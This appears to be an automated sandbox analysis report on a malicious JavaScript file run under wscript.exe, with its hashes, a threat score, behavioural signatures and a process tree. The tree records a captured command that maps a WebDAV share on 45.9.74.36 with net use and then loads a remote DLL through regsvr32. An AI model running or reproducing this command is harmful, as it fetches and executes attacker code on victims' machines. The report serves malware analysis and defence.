Analysis

  • max time kernel
    135s
  • max time network
    124s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-07-2024 13:22

General

  • Target

    237313367154767237.js

  • Size

    5KB

  • MD5

    1eaca797c72654e5eb89883209922b00

  • SHA1

    037b59b4e9a8ca9e3b9903a72f5401209804a787

  • SHA256

    a2b053abe71c99a4f6212c04f122fbc3e6a97264959eaded1868711db1e29648

  • SHA512

    4d05635f98e9e07b1ee36e290b740812d91d750b82cb02b05d2f8cb3ae00146e9c3922b18efd002cd58e418648a13095c7db39e20bb858e7b34a516d3ed99c32

  • SSDEEP

    48:oe5LKk/vJsrPvq2MS8fQtvKNi036WCdUOaWgUAbXAUORyZVb4oT0k2D+ZJFRvMnN:U3Yps4OO8+ZPR0nP4GRrRAkpi9rRAakv

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\237313367154767237.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2280
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\60051116526.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1504
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:5032

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads